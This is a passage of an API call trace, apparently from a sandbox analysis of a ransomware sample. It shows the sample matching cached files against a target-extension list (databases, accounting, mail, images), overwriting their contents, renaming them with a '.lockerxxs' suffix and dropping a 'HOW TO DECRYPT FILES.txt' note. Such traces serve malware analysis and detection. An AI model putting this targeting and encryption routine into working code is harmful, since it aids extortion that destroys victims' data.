Files\\Low\\Content.IE5\\YG1R61Z8\\BBndhJA[1].png", pszSpec="*.dbf") returned 0 [0084.550] lstrlenA (lpString="*.dbf") returned 5 [0084.550] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBndhJA[1].png", pszSpec="*.myox") returned 0 [0084.551] lstrlenA (lpString="*.myox") returned 6 [0084.551] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBndhJA[1].png", pszSpec="*.myo") returned 0 [0084.551] lstrlenA (lpString="*.myo") returned 5 [0084.551] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBndhJA[1].png", pszSpec="*.qbw") returned 0 [0084.551] lstrlenA (lpString="*.qbw") returned 5 [0084.551] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBndhJA[1].png", pszSpec="*.qbb") returned 0 [0084.551] lstrlenA (lpString="*.qbb") returned 5 [0084.551] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBndhJA[1].png", pszSpec="*.qbm") returned 0 [0084.551] lstrlenA (lpString="*.qbm") returned 5 [0084.551] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBndhJA[1].png", pszSpec="*.qbo") returned 0 [0084.551] lstrlenA (lpString="*.qbo") returned 5 [0084.551] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBndhJA[1].png", pszSpec="*.qbx") returned 0 [0084.551] lstrlenA (lpString="*.qbx") returned 5 [0084.551] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBndhJA[1].png", pszSpec="*.qba") returned 0 [0084.551] lstrlenA (lpString="*.qba") returned 5 [0084.551] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBndhJA[1].png", pszSpec="*.qby") returned 0 [0084.551] lstrlenA (lpString="*.qby") returned 5 [0084.551] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBndhJA[1].png", pszSpec="*.qbj") returned 0 [0084.551] lstrlenA (lpString="*.qbj") returned 5 [0084.551] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBndhJA[1].png", pszSpec="*.ofx") returned 0 [0084.551] lstrlenA (lpString="*.ofx") returned 5 [0084.551] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBndhJA[1].png", pszSpec="*.qif") returned 0 [0084.551] lstrlenA (lpString="*.qif") returned 5 [0084.551] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBndhJA[1].png", pszSpec="*.mye") returned 0 [0084.551] lstrlenA (lpString="*.mye") returned 5 [0084.551] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBndhJA[1].png", pszSpec="*.mbox") returned 0 [0084.551] lstrlenA (lpString="*.mbox") returned 6 [0084.552] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBndhJA[1].png", pszSpec="*.eml") returned 0 [0084.552] lstrlenA (lpString="*.eml") returned 5 [0084.552] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBndhJA[1].png", pszSpec="*.pst") returned 0 [0084.552] lstrlenA (lpString="*.pst") returned 5 [0084.552] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBndhJA[1].png", pszSpec="*.ost") returned 0 [0084.552] lstrlenA (lpString="*.ost") returned 5 [0084.552] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBndhJA[1].png", pszSpec="*.idx") returned 0 [0084.552] lstrlenA (lpString="*.idx") returned 5 [0084.552] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBndhJA[1].png", pszSpec="*.dbx") returned 0 [0084.552] lstrlenA (lpString="*.dbx") returned 5 [0084.552] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBndhJA[1].png", pszSpec="*.sql") returned 0 [0084.552] lstrlenA (lpString="*.sql") returned 5 [0084.552] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBndhJA[1].png", pszSpec="*.mdb") returned 0 [0084.552] lstrlenA (lpString="*.mdb") returned 5 [0084.552] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBndhJA[1].png", pszSpec="*.fdb") returned 0 [0084.552] lstrlenA (lpString="*.fdb") returned 5 [0084.552] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBndhJA[1].png", pszSpec="*.wab") returned 0 [0084.552] lstrlenA (lpString="*.wab") returned 5 [0084.552] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBndhJA[1].png", pszSpec="*.dat") returned 0 [0084.552] lstrlenA (lpString="*.dat") returned 5 [0084.552] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBndhJA[1].png", pszSpec="*.txt") returned 0 [0084.552] lstrlenA (lpString="*.txt") returned 5 [0084.553] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBndhJA[1].png", pszSpec="*.jpeg") returned 0 [0084.553] lstrlenA (lpString="*.jpeg") returned 6 [0084.553] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBndhJA[1].png", pszSpec="*.jpg") returned 0 [0084.553] lstrlenA (lpString="*.jpg") returned 5 [0084.553] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBndhJA[1].png", pszSpec="*.png") returned 1 [0084.553] lstrlenA (lpString="*.png") returned 5 [0084.553] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBndhJA[1].png" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBndhJA[1].png") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBndhJA[1].png" [0084.553] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBndhJA[1].png" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBndhJA[1].png") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBndhJA[1].png" [0084.553] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBndhJA[1].png", lpString2="." | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBndhJA[1].png.") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBndhJA[1].png." [0084.553] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBndhJA[1].png.", lpString2="lockerxxs" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBndhJA[1].png.lockerxxs") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBndhJA[1].png.lockerxxs" [0084.553] CreateFileA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBndhJA[1].png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbndhja[1].png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xa4 [0084.554] GetFileSize (in: hFile=0xa4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x398 [0084.554] GetFileTime (in: hFile=0xa4, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e | out: lpCreationTime=0x40752e*(dwLowDateTime=0x459f9950, dwHighDateTime=0x1d2faf3), lpLastAccessTime=0x407536*(dwLowDateTime=0x459f9950, dwHighDateTime=0x1d2faf3), lpLastWriteTime=0x40753e*(dwLowDateTime=0x459f9950, dwHighDateTime=0x1d2faf3)) returned 1 [0084.554] SetFilePointer (in: hFile=0xa4, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0084.554] ReadFile (in: hFile=0xa4, lpBuffer=0x1d00020, nNumberOfBytesToRead=0x196830, lpNumberOfBytesRead=0x40655d, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesRead=0x40655d*=0x372, lpOverlapped=0x0) returned 1 [0084.556] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBndhJA[1].png") returned="BBndhJA[1].png" [0084.556] SetFilePointer (in: hFile=0xa4, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0084.556] WriteFile (in: hFile=0xa4, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0x372, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0x372, lpOverlapped=0x0) returned 1 [0084.556] SetFileTime (hFile=0xa4, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0084.556] CloseHandle (hObject=0xa4) returned 1 [0084.556] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBndhJA[1].png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbndhja[1].png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBndhJA[1].png.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbndhja[1].png.lockerxxs")) returned 1 [0084.557] FindNextFileA (in: hFindFile=0x502758, lpFindFileData=0x18f118 | out: lpFindFileData=0x18f118*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x458c8e50, ftCreationTime.dwHighDateTime=0x1d2faf3, ftLastAccessTime.dwLowDateTime=0x458c8e50, ftLastAccessTime.dwHighDateTime=0x1d2faf3, ftLastWriteTime.dwLowDateTime=0x458c8e50, ftLastWriteTime.dwHighDateTime=0x1d2faf3, nFileSizeHigh=0x0, nFileSizeLow=0x230, dwReserved0=0x18000018, dwReserved1=0x4f9018, cFileName="BBoqF0J[1].png", cAlternateFileName="BBOQF0~1.PNG")) returned 1 [0084.557] PeekMessageA (in: lpMsg=0x18f0f4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f0f4) returned 0 [0084.557] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="BBoqF0J[1].png") returned 1 [0084.557] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="BBoqF0J[1].png") returned 1 [0084.557] lstrcmpiA (lpString1="", lpString2="BBoqF0J[1].png") returned -1 [0084.557] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBndhJA[1].png") returned="BBndhJA[1].png" [0084.557] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\" [0084.557] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\") returned="" [0084.558] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\HOW TO DECRYPT FILES.txt" [0084.558] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\how to decrypt files.txt")) returned 0x2020 [0084.558] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\", lpString2="BBoqF0J[1].png" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBoqF0J[1].png") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBoqF0J[1].png" [0084.558] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBoqF0J[1].png", pszSpec="*.ems") returned 0 [0084.558] lstrlenA (lpString="*.ems") returned 5 [0084.558] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBoqF0J[1].png", pszSpec="*.db") returned 0 [0084.558] lstrlenA (lpString="*.db") returned 4 [0084.558] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBoqF0J[1].png", pszSpec="*.dbf") returned 0 [0084.558] lstrlenA (lpString="*.dbf") returned 5 [0084.558] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBoqF0J[1].png", pszSpec="*.myox") returned 0 [0084.558] lstrlenA (lpString="*.myox") returned 6 [0084.558] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBoqF0J[1].png", pszSpec="*.myo") returned 0 [0084.558] lstrlenA (lpString="*.myo") returned 5 [0084.558] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBoqF0J[1].png", pszSpec="*.qbw") returned 0 [0084.558] lstrlenA (lpString="*.qbw") returned 5 [0084.558] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBoqF0J[1].png", pszSpec="*.qbb") returned 0 [0084.558] lstrlenA (lpString="*.qbb") returned 5 [0084.558] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBoqF0J[1].png", pszSpec="*.qbm") returned 0 [0084.558] lstrlenA (lpString="*.qbm") returned 5 [0084.558] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBoqF0J[1].png", pszSpec="*.qbo") returned 0 [0084.558] lstrlenA (lpString="*.qbo") returned 5 [0084.558] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBoqF0J[1].png", pszSpec="*.qbx") returned 0 [0084.559] lstrlenA (lpString="*.qbx") returned 5 [0084.559] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBoqF0J[1].png", pszSpec="*.qba") returned 0 [0084.559] lstrlenA (lpString="*.qba") returned 5 [0084.559] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBoqF0J[1].png", pszSpec="*.qby") returned 0 [0084.559] lstrlenA (lpString="*.qby") returned 5 [0084.559] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBoqF0J[1].png", pszSpec="*.qbj") returned 0 [0084.559] lstrlenA (lpString="*.qbj") returned 5 [0084.559] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBoqF0J[1].png", pszSpec="*.ofx") returned 0 [0084.559] lstrlenA (lpString="*.ofx") returned 5 [0084.559] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBoqF0J[1].png", pszSpec="*.qif") returned 0 [0084.559] lstrlenA (lpString="*.qif") returned 5 [0084.559] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBoqF0J[1].png", pszSpec="*.mye") returned 0 [0084.559] lstrlenA (lpString="*.mye") returned 5 [0084.559] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBoqF0J[1].png", pszSpec="*.mbox") returned 0 [0084.559] lstrlenA (lpString="*.mbox") returned 6 [0084.559] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBoqF0J[1].png", pszSpec="*.eml") returned 0 [0084.559] lstrlenA (lpString="*.eml") returned 5 [0084.559] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBoqF0J[1].png", pszSpec="*.pst") returned 0 [0084.559] lstrlenA (lpString="*.pst") returned 5 [0084.559] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBoqF0J[1].png", pszSpec="*.ost") returned 0 [0084.559] lstrlenA (lpString="*.ost") returned 5 [0084.559] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBoqF0J[1].png", pszSpec="*.idx") returned 0 [0084.559] lstrlenA (lpString="*.idx") returned 5 [0084.559] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBoqF0J[1].png", pszSpec="*.dbx") returned 0 [0084.559] lstrlenA (lpString="*.dbx") returned 5 [0084.560] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBoqF0J[1].png", pszSpec="*.sql") returned 0 [0084.560] lstrlenA (lpString="*.sql") returned 5 [0084.560] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBoqF0J[1].png", pszSpec="*.mdb") returned 0 [0084.560] lstrlenA (lpString="*.mdb") returned 5 [0084.560] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBoqF0J[1].png", pszSpec="*.fdb") returned 0 [0084.560] lstrlenA (lpString="*.fdb") returned 5 [0084.560] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBoqF0J[1].png", pszSpec="*.wab") returned 0 [0084.560] lstrlenA (lpString="*.wab") returned 5 [0084.560] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBoqF0J[1].png", pszSpec="*.dat") returned 0 [0084.560] lstrlenA (lpString="*.dat") returned 5 [0084.560] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBoqF0J[1].png", pszSpec="*.txt") returned 0 [0084.560] lstrlenA (lpString="*.txt") returned 5 [0084.560] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBoqF0J[1].png", pszSpec="*.jpeg") returned 0 [0084.560] lstrlenA (lpString="*.jpeg") returned 6 [0084.560] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBoqF0J[1].png", pszSpec="*.jpg") returned 0 [0084.560] lstrlenA (lpString="*.jpg") returned 5 [0084.560] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBoqF0J[1].png", pszSpec="*.png") returned 1 [0084.560] lstrlenA (lpString="*.png") returned 5 [0084.560] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBoqF0J[1].png" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBoqF0J[1].png") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBoqF0J[1].png" [0084.560] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBoqF0J[1].png" | 